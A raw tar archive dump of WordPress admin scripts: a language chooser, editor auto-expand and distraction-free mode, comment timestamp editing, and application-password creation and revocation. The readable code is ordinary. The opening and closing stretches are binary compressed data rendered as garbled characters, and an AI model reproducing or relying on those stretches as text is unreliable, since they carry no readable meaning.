��H�B����F�*O��5�裓ۺ�ץv���}��.�w�Օ�j��ٻ`��Qu�^)𑹏��=������1���T�7��w⬕�Nu����N�ߵ�ĵAy�PS�n�ő)�'��{~�M+�Rg��%�{>�W�th
��{xz~��
Lo���:FT���������Lᩯ0language-chooser.min.js000064400000000647150276633110011122 0ustar00/*! This file is auto-generated */
jQuery(function(n){var e=n("#language"),a=n("#language-continue");n("body").hasClass("language-chooser")&&(e.trigger("focus").on("change",function(){var n=e.children("option:selected");a.attr({value:n.data("continue"),lang:n.attr("lang")})}),n("form").on("submit",function(){e.children("option:selected").data("installed")||n(this).find(".step .spinner").css("visibility","visible")}))});editor-expand.min.js000064400000032213150276633110010434 0ustar00/*! This file is auto-generated */
!function(F,I){"use strict";var L=I(F),M=I(document),V=I("#wpadminbar"),N=I("#wpfooter");I(function(){var g,e,u=I("#postdivrich"),h=I("#wp-content-wrap"),m=I("#wp-content-editor-tools"),w=I(),H=I(),b=I("#ed_toolbar"),v=I("#content"),i=v[0],o=0,x=I("#post-status-info"),y=I(),T=I(),B=I("#side-sortables"),C=I("#postbox-container-1"),S=I("#post-body"),O=F.wp.editor&&F.wp.editor.fullscreen,r=function(){},l=function(){},z=!1,E=!1,k=!1,A=!1,W=0,K=56,R=20,Y=300,f=h.hasClass("tmce-active")?"tinymce":"html",U=!!parseInt(F.getUserSetting("hidetb"),10),D={windowHeight:0,windowWidth:0,adminBarHeight:0,toolsHeight:0,menuBarHeight:0,visualTopHeight:0,textTopHeight:0,bottomHeight:0,statusBarHeight:0,sideSortablesHeight:0},a=F._.throttle(function(){var t=F.scrollX||document.documentElement.scrollLeft,e=F.scrollY||document.documentElement.scrollTop,o=parseInt(i.style.height,10);i.style.height=Y+"px",i.scrollHeight>Y&&(i.style.height=i.scrollHeight+"px"),void 0!==t&&F.scrollTo(t,e),i.scrollHeight<o&&p()},300);function P(){var t=i.value.length;g&&!g.isHidden()||!g&&"tinymce"===f||(t<o?a():parseInt(i.style.height,10)<i.scrollHeight&&(i.style.height=Math.ceil(i.scrollHeight)+"px",p()),o=t)}function p(t){var e,o,i,n,s,f,a,d,c,u,r,l,p;O&&O.settings.visible||(e=L.scrollTop(),o="scroll"!==(u=t&&t.type),i=g&&!g.isHidden(),n=Y,s=S.offset().top,f=h.width(),!o&&D.windowHeight||(p=L.width(),(D={windowHeight:L.height(),windowWidth:p,adminBarHeight:600<p?V.outerHeight():0,toolsHeight:m.outerHeight()||0,menuBarHeight:y.outerHeight()||0,visualTopHeight:w.outerHeight()||0,textTopHeight:b.outerHeight()||0,bottomHeight:x.outerHeight()||0,statusBarHeight:T.outerHeight()||0,sideSortablesHeight:B.height()||0}).menuBarHeight<3&&(D.menuBarHeight=0)),i||"resize"!==u||P(),p=i?(a=w,l=H,D.visualTopHeight):(a=b,l=v,D.textTopHeight),(i||a.length)&&(u=a.parent().offset().top,r=l.offset().top,l=l.outerHeight(),(i?Y+p:Y+20)+5<l?((!z||o)&&e>=u-D.toolsHeight-D.adminBarHeight&&e<=u-D.toolsHeight-D.adminBarHeight+l-n?(z=!0,m.css({position:"fixed",top:D.adminBarHeight,width:f}),i&&y.length&&y.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),a.css({position:"fixed",top:D.adminBarHeight+D.toolsHeight+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):(z||o)&&(e<=u-D.toolsHeight-D.adminBarHeight?(z=!1,m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())})):e>=u-D.toolsHeight-D.adminBarHeight+l-n&&(z=!1,m.css({position:"absolute",top:l-n,width:f}),i&&y.length&&y.css({position:"absolute",top:l-n,width:f-2}),a.css({position:"absolute",top:l-n+D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}))),(!E||o&&U)&&e+D.windowHeight<=r+l+D.bottomHeight+D.statusBarHeight+1?t&&0<t.deltaHeight&&t.deltaHeight<100?F.scrollBy(0,t.deltaHeight):i&&U&&(E=!0,T.css({position:"fixed",bottom:D.bottomHeight,visibility:"",width:f-2}),x.css({position:"fixed",bottom:0,width:f})):(!U&&E||(E||o)&&e+D.windowHeight>r+l+D.bottomHeight+D.statusBarHeight-1)&&(E=!1,T.attr("style",U?"":"visibility: hidden;"),x.attr("style",""))):o&&(m.css({position:"absolute",top:0,width:f}),i&&y.length&&y.css({position:"absolute",top:0,width:f-2}),a.css({position:"absolute",top:D.menuBarHeight,width:f-2-(i?0:a.outerWidth()-a.width())}),T.attr("style",U?"":"visibility: hidden;"),x.attr("style","")),C.width()<300&&600<D.windowWidth&&M.height()>B.height()+s+120&&D.windowHeight<l?(D.sideSortablesHeight+K+R>D.windowHeight||k||A?e+K<=s?(B.attr("style",""),k=A=!1):W<e?k?(k=!1,d=B.offset().top-D.adminBarHeight,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!A&&D.sideSortablesHeight+B.offset().top+R<e+D.windowHeight&&(A=!0,B.css({position:"fixed",top:"auto",bottom:R})):e<W&&(A?(A=!1,d=B.offset().top-R,(c=N.offset().top)<d+D.sideSortablesHeight+R&&(d=c-D.sideSortablesHeight-12),B.css({position:"absolute",top:d,bottom:""})):!k&&B.offset().top>=e+K&&(k=!0,B.css({position:"fixed",top:K,bottom:""}))):(s-K<=e?B.css({position:"fixed",top:K}):B.attr("style",""),k=A=!1),W=e):(B.attr("style",""),k=A=!1),o)&&(h.css({paddingTop:D.toolsHeight}),i?H.css({paddingTop:D.visualTopHeight+D.menuBarHeight}):v.css({marginTop:D.textTopHeight})))}function n(){P(),p()}function X(t){for(var e=1;e<6;e++)setTimeout(t,500*e)}function t(){F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.addClass("wp-editor-expand"),L.on("scroll.editor-expand resize.editor-expand",function(t){p(t.type),clearTimeout(e),e=setTimeout(p,100)}),M.on("wp-collapse-menu.editor-expand postboxes-columnchange.editor-expand editor-classchange.editor-expand",p).on("postbox-toggled.editor-expand postbox-moved.editor-expand",function(){!k&&!A&&F.pageYOffset>K&&(A=!0,F.scrollBy(0,-1),p(),F.scrollBy(0,1)),p()}).on("wp-window-resized.editor-expand",function(){g&&!g.isHidden()?g.execCommand("wpAutoResize"):P()}),v.on("focus.editor-expand input.editor-expand propertychange.editor-expand",P),r(),O&&O.pubsub.subscribe("hidden",n),g&&(g.settings.wp_autoresize_on=!0,g.execCommand("wpAutoResizeOn"),g.isHidden()||g.execCommand("wpAutoResize")),g&&!g.isHidden()||P(),p(),M.trigger("editor-expand-on")}function s(){var t=parseInt(F.getUserSetting("ed_size",300),10);t<50?t=50:5e3<t&&(t=5e3),F.pageYOffset&&130<F.pageYOffset&&F.scrollTo(F.pageXOffset,0),u.removeClass("wp-editor-expand"),L.off(".editor-expand"),M.off(".editor-expand"),v.off(".editor-expand"),l(),O&&O.pubsub.unsubscribe("hidden",n),I.each([w,b,m,y,x,T,h,H,v,B],function(t,e){e&&e.attr("style","")}),z=E=k=A=!1,g&&(g.settings.wp_autoresize_on=!1,g.execCommand("wpAutoResizeOff"),g.isHidden()||(v.hide(),t&&g.theme.resizeTo(null,t))),t&&v.height(t),M.trigger("editor-expand-off")}M.on("tinymce-editor-init.editor-expand",function(t,f){var a=F.tinymce.util.VK,e=_.debounce(function(){I(".mce-floatpanel:hover").length||F.tinymce.ui.FloatPanel.hideAll(),I(".mce-tooltip").hide()},1e3,!0);function o(t){t=t.keyCode;t<=47&&t!==a.SPACEBAR&&t!==a.ENTER&&t!==a.DELETE&&t!==a.BACKSPACE&&t!==a.UP&&t!==a.LEFT&&t!==a.DOWN&&t!==a.UP||91<=t&&t<=93||112<=t&&t<=123||144===t||145===t||i(t)}function i(t){var e,o,i,n,s=function(){var t,e,o=f.selection.getNode();if(f.wp&&f.wp.getView&&(t=f.wp.getView(o)))e=t.getBoundingClientRect();else{t=f.selection.getRng();try{e=t.getClientRects()[0]}catch(t){}e=e||o.getBoundingClientRect()}return!!e.height&&e}();s&&(o=(e=s.top+f.iframeElement.getBoundingClientRect().top)+s.height,e-=50,o+=50,i=D.adminBarHeight+D.toolsHeight+D.menuBarHeight+D.visualTopHeight,(n=D.windowHeight-(U?D.bottomHeight+D.statusBarHeight:0))-i<s.height||(e<i&&(t===a.UP||t===a.LEFT||t===a.BACKSPACE)?F.scrollTo(F.pageXOffset,e+F.pageYOffset-i):n<o&&F.scrollTo(F.pageXOffset,o+F.pageYOffset-n)))}function n(t){t.state||p()}function s(){L.on("scroll.mce-float-panels",e),setTimeout(function(){f.execCommand("wpAutoResize"),p()},300)}function d(){L.off("scroll.mce-float-panels"),setTimeout(function(){var t=h.offset().top;F.pageYOffset>t&&F.scrollTo(F.pageXOffset,t-D.adminBarHeight),P(),p()},100),p()}function c(){U=!U}"content"===f.id&&((g=f).settings.autoresize_min_height=Y,w=h.find(".mce-toolbar-grp"),H=h.find(".mce-edit-area"),T=h.find(".mce-statusbar"),y=h.find(".mce-menubar"),r=function(){f.on("keyup",o),f.on("show",s),f.on("hide",d),f.on("wp-toolbar-toggle",c),f.on("setcontent wp-autoresize wp-toolbar-toggle",p),f.on("undo redo",i),f.on("FullscreenStateChanged",n),L.off("scroll.mce-float-panels").on("scroll.mce-float-panels",e)},l=function(){f.off("keyup",o),f.off("show",s),f.off("hide",d),f.off("wp-toolbar-toggle",c),f.off("setcontent wp-autoresize wp-toolbar-toggle",p),f.off("undo redo",i),f.off("FullscreenStateChanged",n),L.off("scroll.mce-float-panels")},u.hasClass("wp-editor-expand"))&&(r(),X(p))}),u.hasClass("wp-editor-expand")&&(t(),h.hasClass("html-active"))&&X(function(){p(),P()}),I("#adv-settings .editor-expand").show(),I("#editor-expand-toggle").on("change.editor-expand",function(){I(this).prop("checked")?(t(),F.setUserSetting("editor_expand","on")):(s(),F.setUserSetting("editor_expand","off"))}),F.editorExpand={on:t,off:s}}),I(function(){var i,n,t,s,f,a,d,c,u,r,l,p=I(document.body),o=I("#wpcontent"),g=I("#post-body-content"),e=I("#title"),h=I("#content"),m=I(document.createElement("DIV")),w=I("#edit-slug-box"),H=w.find("a").add(w.find("button")).add(w.find("input")),Y=I("#adminmenuwrap"),b=(I(),I(),"on"===F.getUserSetting("editor_expand","on")),v=!!b&&"on"===F.getUserSetting("post_dfw"),x=0,y=0,T=20;function B(){(s=g.offset()).right=s.left+g.outerWidth(),s.bottom=s.top+g.outerHeight()}function C(){b||(b=!0,M.trigger("dfw-activate"),h.on("keydown.focus-shortcut",R))}function S(){b&&(z(),b=!1,M.trigger("dfw-deactivate"),h.off("keydown.focus-shortcut"))}function O(){!v&&b&&(v=!0,h.on("keydown.focus",_),e.add(h).on("blur.focus",A),_(),F.setUserSetting("post_dfw","on"),M.trigger("dfw-on"))}function z(){v&&(v=!1,e.add(h).off(".focus"),k(),g.off(".focus"),F.setUserSetting("post_dfw","off"),M.trigger("dfw-off"))}function E(){(v?z:O)()}function _(t){var e,o=t&&t.keyCode;F.navigator.platform&&(e=-1<F.navigator.platform.indexOf("Mac")),27===o||87===o&&t.altKey&&(!e&&t.shiftKey||e&&t.ctrlKey)?k(t):t&&(t.metaKey||t.ctrlKey&&!t.altKey||t.altKey&&t.shiftKey||o&&(o<=47&&8!==o&&13!==o&&32!==o&&46!==o||91<=o&&o<=93||112<=o&&o<=135||144<=o&&o<=150||224<=o))||(i||(i=!0,clearTimeout(r),r=setTimeout(function(){m.show()},600),g.css("z-index",9998),m.on("mouseenter.focus",function(){B(),L.on("scroll.focus",function(){var t=F.pageYOffset;c&&d&&c!==t&&(d<s.top-T||d>s.bottom+T)&&k(),c=t})}).on("mouseleave.focus",function(){f=a=null,x=y=0,L.off("scroll.focus")}).on("mousemove.focus",function(t){var e=t.clientX,t=t.clientY,o=F.pageYOffset,i=F.pageXOffset;if(f&&a&&(e!==f||t!==a))if(t<=a&&t<s.top-o||a<=t&&t>s.bottom-o||e<=f&&e<s.left-i||f<=e&&e>s.right-i){if(x+=Math.abs(f-e),y+=Math.abs(a-t),(t<=s.top-T-o||t>=s.bottom+T-o||e<=s.left-T-i||e>=s.right+T-i)&&(10<x||10<y))return k(),f=a=null,void(x=y=0)}else x=y=0;f=e,a=t}).on("touchstart.focus",function(t){t.preventDefault(),k()}),g.off("mouseenter.focus"),u&&(clearTimeout(u),u=null),p.addClass("focus-on").removeClass("focus-off")),!n&&i&&(n=!0,V.on("mouseenter.focus",function(){V.addClass("focus-off")}).on("mouseleave.focus",function(){V.removeClass("focus-off")})),W())}function k(t){i&&(i=!1,clearTimeout(r),r=setTimeout(function(){m.hide()},200),g.css("z-index",""),m.off("mouseenter.focus mouseleave.focus mousemove.focus touchstart.focus"),void 0===t&&g.on("mouseenter.focus",function(){(I.contains(g.get(0),document.activeElement)||l)&&_()}),u=setTimeout(function(){u=null,g.off("mouseenter.focus")},1e3),p.addClass("focus-off").removeClass("focus-on")),n&&(n=!1,V.off(".focus")),K()}function A(){setTimeout(function(){var t=document.activeElement.compareDocumentPosition(g.get(0));function e(t){return I.contains(t.get(0),document.activeElement)}2!==t&&4!==t||!(e(Y)||e(o)||e(N))||k()},0)}function W(){t||!i||w.find(":focus").length||(t=!0,w.stop().fadeTo("fast",.3).on("mouseenter.focus",K).off("mouseleave.focus"),H.on("focus.focus",K).off("blur.focus"))}function K(){t&&(t=!1,w.stop().fadeTo("fast",1).on("mouseleave.focus",W).off("mouseenter.focus"),H.on("blur.focus",W).off("focus.focus"))}function R(t){t.altKey&&t.shiftKey&&87===t.keyCode&&E()}p.append(m),m.css({display:"none",position:"fixed",top:V.height(),right:0,bottom:0,left:0,"z-index":9997}),g.css({position:"relative"}),L.on("mousemove.focus",function(t){d=t.pageY}),I("#postdivrich").hasClass("wp-editor-expand")&&h.on("keydown.focus-shortcut",R),M.on("tinymce-editor-setup.focus",function(t,e){e.addButton("dfw",{active:v,classes:"wp-dfw btn widget",disabled:!b,onclick:E,onPostRender:function(){var t=this;e.on("init",function(){t.disabled()&&t.hide()}),M.on("dfw-activate.focus",function(){t.disabled(!1),t.show()}).on("dfw-deactivate.focus",function(){t.disabled(!0),t.hide()}).on("dfw-on.focus",function(){t.active(!0)}).on("dfw-off.focus",function(){t.active(!1)})},tooltip:"Distraction-free writing mode",shortcut:"Alt+Shift+W"}),e.addCommand("wpToggleDFW",E),e.addShortcut("access+w","","wpToggleDFW")}),M.on("tinymce-editor-init.focus",function(t,e){var o,i;function n(){l=!0}function s(){l=!1}"content"===e.id&&(I(e.getWin()),I(e.getContentAreaContainer()).find("iframe"),o=function(){e.on("keydown",_),e.on("blur",A),e.on("focus",n),e.on("blur",s),e.on("wp-autoresize",B)},i=function(){e.off("keydown",_),e.off("blur",A),e.off("focus",n),e.off("blur",s),e.off("wp-autoresize",B)},v&&o(),M.on("dfw-on.focus",o).on("dfw-off.focus",i),e.on("click",function(t){t.target===e.getDoc().documentElement&&e.focus()}))}),M.on("quicktags-init",function(t,e){var o;e.settings.buttons&&-1!==(","+e.settings.buttons+",").indexOf(",dfw,")&&(o=I("#"+e.name+"_dfw"),I(document).on("dfw-activate",function(){o.prop("disabled",!1)}).on("dfw-deactivate",function(){o.prop("disabled",!0)}).on("dfw-on",function(){o.addClass("active")}).on("dfw-off",function(){o.removeClass("active")}))}),M.on("editor-expand-on.focus",C).on("editor-expand-off.focus",S),v&&(h.on("keydown.focus",_),e.add(h).on("blur.focus",A)),F.wp=F.wp||{},F.wp.editor=F.wp.editor||{},F.wp.editor.dfw={activate:C,deactivate:S,isActive:function(){return b},on:O,off:z,toggle:E,isOn:function(){return v}}})}(window,window.jQuery);comment.min.js000064400000002443150276633110007335 0ustar00/*! This file is auto-generated */
jQuery(function(m){postboxes.add_postbox_toggles("comment");var d=m("#timestampdiv"),o=m("#timestamp"),a=o.html(),v=d.find(".timestamp-wrap"),c=d.siblings("a.edit-timestamp");c.on("click",function(e){d.is(":hidden")&&(d.slideDown("fast",function(){m("input, select",v).first().trigger("focus")}),m(this).hide()),e.preventDefault()}),d.find(".cancel-timestamp").on("click",function(e){c.show().trigger("focus"),d.slideUp("fast"),m("#mm").val(m("#hidden_mm").val()),m("#jj").val(m("#hidden_jj").val()),m("#aa").val(m("#hidden_aa").val()),m("#hh").val(m("#hidden_hh").val()),m("#mn").val(m("#hidden_mn").val()),o.html(a),e.preventDefault()}),d.find(".save-timestamp").on("click",function(e){var a=m("#aa").val(),t=m("#mm").val(),i=m("#jj").val(),s=m("#hh").val(),l=m("#mn").val(),n=new Date(a,t-1,i,s,l);e.preventDefault(),n.getFullYear()!=a||1+n.getMonth()!=t||n.getDate()!=i||n.getMinutes()!=l?v.addClass("form-invalid"):(v.removeClass("form-invalid"),o.html(wp.i18n.__("Submitted on:")+" <b>"+wp.i18n.__("%1$s %2$s, %3$s at %4$s:%5$s").replace("%1$s",m('option[value="'+t+'"]',"#mm").attr("data-text")).replace("%2$s",parseInt(i,10)).replace("%3$s",a).replace("%4$s",("00"+s).slice(-2)).replace("%5$s",("00"+l).slice(-2))+"</b> "),c.show().trigger("focus"),d.slideUp("fast"))})});application-passwords.js000064400000014372150276633110011443 0ustar00/**
 * @output wp-admin/js/application-passwords.js
 */

( function( $ ) {
	var $appPassSection = $( '#application-passwords-section' ),
		$newAppPassForm = $appPassSection.find( '.create-application-password' ),
		$newAppPassField = $newAppPassForm.find( '.input' ),
		$newAppPassButton = $newAppPassForm.find( '.button' ),
		$appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ),
		$appPassTbody = $appPassSection.find( 'tbody' ),
		$appPassTrNoItems = $appPassTbody.find( '.no-items' ),
		$removeAllBtn = $( '#revoke-all-application-passwords' ),
		tmplNewAppPass = wp.template( 'new-application-password' ),
		tmplAppPassRow = wp.template( 'application-password-row' ),
		userId = $( '#user_id' ).val();

	$newAppPassButton.on( 'click', function( e ) {
		e.preventDefault();

		if ( $newAppPassButton.prop( 'aria-disabled' ) ) {
			return;
		}

		var name = $newAppPassField.val();

		if ( 0 === name.length ) {
			$newAppPassField.trigger( 'focus' );
			return;
		}

		clearNotices();
		$newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' );

		var request = {
			name: name
		};

		/**
		 * Filters the request data used to create a new Application Password.
		 *
		 * @since 5.6.0
		 *
		 * @param {Object} request The request data.
		 * @param {number} userId  The id of the user the password is added for.
		 */
		request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId );

		wp.apiRequest( {
			path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
			method: 'POST',
			data: request
		} ).always( function() {
			$newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' );
		} ).done( function( response ) {
			$newAppPassField.val( '' );
			$newAppPassButton.prop( 'disabled', false );

			$newAppPassForm.after( tmplNewAppPass( {
				name: response.name,
				password: response.password
			} ) );
			$( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' );

			$appPassTbody.prepend( tmplAppPassRow( response ) );

			$appPassTwrapper.show();
			$appPassTrNoItems.remove();

			/**
			 * Fires after an application password has been successfully created.
			 *
			 * @since 5.6.0
			 *
			 * @param {Object} response The response data from the REST API.
			 * @param {Object} request  The request data used to create the password.
			 */
			wp.hooks.doAction( 'wp_application_passwords_created_password', response, request );
		} ).fail( handleErrorResponse );
	} );

	$appPassTbody.on( 'click', '.delete', function( e ) {
		e.preventDefault();

		if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) {
			return;
		}

		var $submitButton = $( this ),
			$tr = $submitButton.closest( 'tr' ),
			uuid = $tr.data( 'uuid' );

		clearNotices();
		$submitButton.prop( 'disabled', true );

		wp.apiRequest( {
			path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user',
			method: 'DELETE'
		} ).always( function() {
			$submitButton.prop( 'disabled', false );
		} ).done( function( response ) {
			if ( response.deleted ) {
				if ( 0 === $tr.siblings().length ) {
					$appPassTwrapper.hide();
				}
				$tr.remove();

				addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' );
			}
		} ).fail( handleErrorResponse );
	} );

	$removeAllBtn.on( 'click', function( e ) {
		e.preventDefault();

		if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) {
			return;
		}

		var $submitButton = $( this );

		clearNotices();
		$submitButton.prop( 'disabled', true );

		wp.apiRequest( {
			path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user',
			method: 'DELETE'
		} ).always( function() {
			$submitButton.prop( 'disabled', false );
		} ).done( function( response ) {
			if ( response.deleted ) {
				$appPassTbody.children().remove();
				$appPassSection.children( '.new-application-password' ).remove();
				$appPassTwrapper.hide();

				addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' );
			}
		} ).fail( handleErrorResponse );
	} );

	$appPassSection.on( 'click', '.notice-dismiss', function( e ) {
		e.preventDefault();
		var $el = $( this ).parent();
		$el.removeAttr( 'role' );
		$el.fadeTo( 100, 0, function () {
			$el.slideUp( 100, function () {
				$el.remove();
				$newAppPassField.trigger( 'focus' );
			} );
		} );
	} );

	$newAppPassField.on( 'keypress', function ( e ) {
		if ( 13 === e.which ) {
			e.preventDefault();
			$newAppPassButton.trigger( 'click' );
		}
	} );

	// If there are no items, don't display the table yet.  If there are, show it.
	if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) {
		$appPassTwrapper.hide();
	}

	/**
	 * Handles an error response from the REST API.
	 *
	 * @since 5.6.0
	 *
	 * @param {jqXHR} xhr The XHR object from the ajax call.
	 * @param {string} textStatus The string categorizing the ajax request's status.
	 * @param {string} errorThrown The HTTP status error text.
	 */
	function handleErrorResponse( xhr, textStatus, errorThrown ) {
		var errorMessage = errorThrown;

		if ( xhr.responseJSON && xhr.responseJSON.message ) {
			errorMessage = xhr.responseJSON.message;
		}

		addNotice( errorMessage, 'error' );
	}

	/**
	 * Displays a message in the Application Passwords section.
	 *
	 * @since 5.6.0
	 *
	 * @param {string} message The message to display.
	 * @param {string} type    The notice type. Either 'success' or 'error'.
	 * @returns {jQuery} The notice element.
	 */
	function addNotice( message, type ) {
		var $notice = $( '<div></div>' )
			.attr( 'role', 'alert' )
			.attr( 'tabindex', '-1' )
			.addClass( 'is-dismissible notice notice-' + type )
			.append( $( '<p></p>' ).text( message ) )
			.append(
				$( '<button></button>' )
					.attr( 'type', 'button' )
					.addClass( 'notice-dismiss' )
					.append( $( '<span></span>' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) )
			);

		$newAppPassForm.after( $notice );

		return $notice;
	}

	/**
	 * Clears notice messages from the Application Passwords section.
	 *
	 * @since 5.6.0
	 */
	function clearNotices() {
		$( '.notice', $appPassSection ).remove();
	}
}( jQuery ) );
editor.js.js.tar.gz000064400000030704150276633110010217 0ustar00��}[{�F��ʿ�xCҢHɹ̎,��8N�q���̓�X ��I�@��P��ԭ��q�(�̞s�3�f"	�Kuuݻ�1��0
ˤL�t8���b���`�-��˽0Z$��bGI��ߊ?���>������|���g:�|���~���?��_|��_���N�1�V���������'OO���V�rU��

�\'i�]���q�~_��?n�=x�
.W�L��<��8A/���r��`'��鴃���?��<)o�Ep	��Y؊Z�G���8x:�|���vL���uRNf��Gѥ�w�B'Io��<~܇G;�e����P��4)��Nrt���s��'f�扴�1W<����y2xL����,��0��qd�d�L��U��n����p><�?�A����3��
>E|���\�i��U�D��t(@u�(��0W��uh�N_�#�b�I�L�~�Ȣ�Ϗv�w�q	+���@�d��G~8����9��(�����-�Dv��$B�q��,s��e����^upn� �j����σ�ztf�b�1�t�v�v��-�����x�?�ڰY�Lge�]*�
�,��ü[�Ă��(����J;h/�<\�0�-���f�S�����W�7��NW�q���/5<I���:���`?�����ǵ��`���O�y��f@�)��[��5��"���)H�`}O��7͗@g=��2K�0I�X�w���%��8�~�sT
DƓ2�}Ich%���2ݟG�\C_�2�p�NKӽ�}�?p�>�V�r�5q�w� �y��L|��԰�"���E�;����h���̓tztJ�?|r��V�u�[f�d��X�%��2��/�ռ<.&��׋A�D���_��*��G+��t_T)�ȡ
-��a������Vx�~�K���D����V������KX��1�����D@����å!�?����v7��ᫎi�����8�����ׯ��@�"���c�Z�~h�')�M�(N�Jz
f���e��4 Y(
�$$'-�aFOtá7"����H��8��Xh�a��
ʿ��r��'�t’�����2��3`�)h�)��0�	�%0'= ��uw
��˛e�]v����i�r;�4�/AH��1��v�2~1��L=l��N�J��<hQ�X�=��>��o�y�|s�1��g᫶w"�G�o���ѻb�g�%`
�Z���Mu<e�>�1�%%�z�y�88�����"��X�f�����¼�=�	����7�}�e�a��u���%������5�W�Y̲�5w`��`�%,��J���a������v��#kd^�Wx��ы3�<1[Ю��iS!<��=_,��:��,�1��<Y$e� �90�CϷF�~�_[�<Tjء^���i�
��|ޯ����֘d�SoG�jzX�O��fy3��\��\�ú�(�
�ox�l-�[q�Oy�a3��*6F-�� �B�vTmޠ�vo��Z��a��{3��`����ڹ]�?�}��z���W*@�]��*���vʁ��$�Y$2R�C��N�AǑ�1���h�F^ ��I�ZY�,�<U�L�e€���8a�\NX,k5�p�E��RRnf~��Vp�߯�1�m-�-}�+
Ï��ˡU/M<���bg��٭ȝ=-wZ��
_�|���iԼuP;��O4ҧ*�P;[��Y��$Ş��Tm`�C"#���G�� �<=<w}��2ruJT�NI��n�sKN��̳q8��a��q��{��p���;���E��eq��H�r��ᑇ���$�A'J��<��珂��S
:ѓ�N���V-u}y���%����e��~x9�'��a0Y��X�l8�j0�{x1�(<�;�:�Q�Q
�"���h@��Ep=�-;��5��O��)y�Ū���'^�H���^%���a��5(�3�:��- �^��	�1Rh��4	�������\݅0`�K _@.�X���G��4�u�f`�잛����%y�jG��+l�=���i@]��(�1�t\�M�%z~�,���`x2\x����.�2�S	��}pM,魳�(�7"�F�.FV�i4߃�x�]�kg�n���/ăC4 ������T�v4�$�W�5�o�կ.GE�����Jx��,������v�:�����s�m����޿�|�I�ЌV����>�@FL�m��A��F��%�D|]���Sqz�f�,n��!��X��=�
�G��Iw4�=wף�{<�<����6l�3R�Pcm�d��y
,��R�������J������v�)N+�A��9�5���./AP�P]1J"v�
3��.�,����i,q=�fa2sR�䉀b��Kg�+���jS-\c��Vw�P!.E������]��%Ig�Y�
��%�]��,��0�i��5*��b	�]Ϙ��yBm�Z��O9#��;.܍#�F�s��������5J��0=A-�v�hH�{@��͢��ɮ*��M�'�[.����uA.���"����J�CҮ��&�C~,-z�,�Vȗ��{�:���	��Q���A�N���&ubkV"6�4���Q��Q�岕PQ�����}����o<�@zjJ �f-����[+*ib����/�oӧ`�ݎid!�S݀��3�qTt0��i9����VTST��O�5\�3�\K��"N�M���Ft�*�\;0�UU[��	�m����K4���( �����2�ko�^8OޓU�1<a����L����w�C}���z�'%<:�힍���v�S���X�q���9�� ��,�����
����kt�xC�P�N�d�tZ�
�V�ށrK��rU̼�����B,ܭ�-�@�U�Ր8�T%�V�"�c`��g�$迚G�\f �̨6����12/��=	4֒Pp!�c�KCX
0�ߪ`7�s;���||�F$_�b2Ф��Q!M&�:#�o�-񈏝Gq�-�̓�C�j�l�%�Qx�Ǟk�l.3�}�&��M�"��΄��WKE"�= ��n$�͉��jRb���(���f1��Q�7ˉ����bwo�db�ڑ8J	�=w�S5/~���%g�8{-��Չ~c��5E�X�.dݒA�)oرI�8ɖ�
�]a��Ko��l���=4�.P%�g	���qe�7�?��֩rY;/=~�Tơ^��b�Hj dتj��(�H�e�F�1������Aq��>Px0��w��Ͱȟd�!qi��?��[�(~D)QḂ"�>س<�c���0���}�}��2���*�V0ͬqP�Մ43�As#p�*`��K���mf�f��*!B�Nja5C:�矾�#��賞D���?"v��-���DPq�C��3p����(.%J���&%�K������xZ_#7����}�$�"���X���Hw��h6_�P]����g0 ��+<Y$s�?\D1�3+/�~��G2���U>��'�����ڠN���h��F����>Z��\�G�!����Q��|�y�{-OFœz��=�N��ܻC�X�Z��vLӁ�:m�B��.{�2؎A�
��[�K	��{"L:�׫4���S���dFQo��M6a�@|.�.A�4�\��\_ċBz��C�5�̎);2�`G��Ӄ�L��W��o�8��@��
p��t���gh@�lGy�$��7ֽj�wL�a�-�K��z���0��g0-IbMȘ�����ɥ�o��[@fW��W�%�^~��Z
��1
��X�A΀�גE������w���}�
Fn~	&�����Po>0�@q?��2��'	����ivD�8�}�����77b֞��ͱ�蕪�ɓ(SQo��qR����'I8'Ӻr�c�6���|�&r�cV��H�����Z0���H8'd!z	�{>�AP2σ��.��\�⟬h�ze���c��*ΛS��u��$�G��_��<8<fB> ͣ�jȬ�#$r�kƳ4KM���s�fo�5XUhBIX ��u5�U�(�~�)�$�����ԓ�&�)�H��R��>���9*2"&�w ��'a)�U>��K��5L���]��B�T�u�[�آ��1����xN�v��0��Y_PmSC�⥛=h|���/E�+5������qľ!8l٩kc�ʰ�3K��fX<�W�x�@q�ps6zF���|E<�&�B�Bwo"i�!R�y��}_frԟ+/`Q����L&�K�����'Q���xqy�dI�.0���9m����H��%�=p<���
�ש�r�E-���	�f�bâ�Q�ؽoF/2�rR��M0a!��ku��-�/T��$2�[�}u��#?λ��?�Y�ҹ^S��=���1�_�9}FD!��Džv�*-R��Xu�z��*�M�
VH��7&�b��T�
r��L�-�<�
Q MWߩ4���,�*����b�lW�e+&���ڱ8zBV��l��A�؃n��bq�9��"�F��&������@��?ˢ]��K�a��:�X��
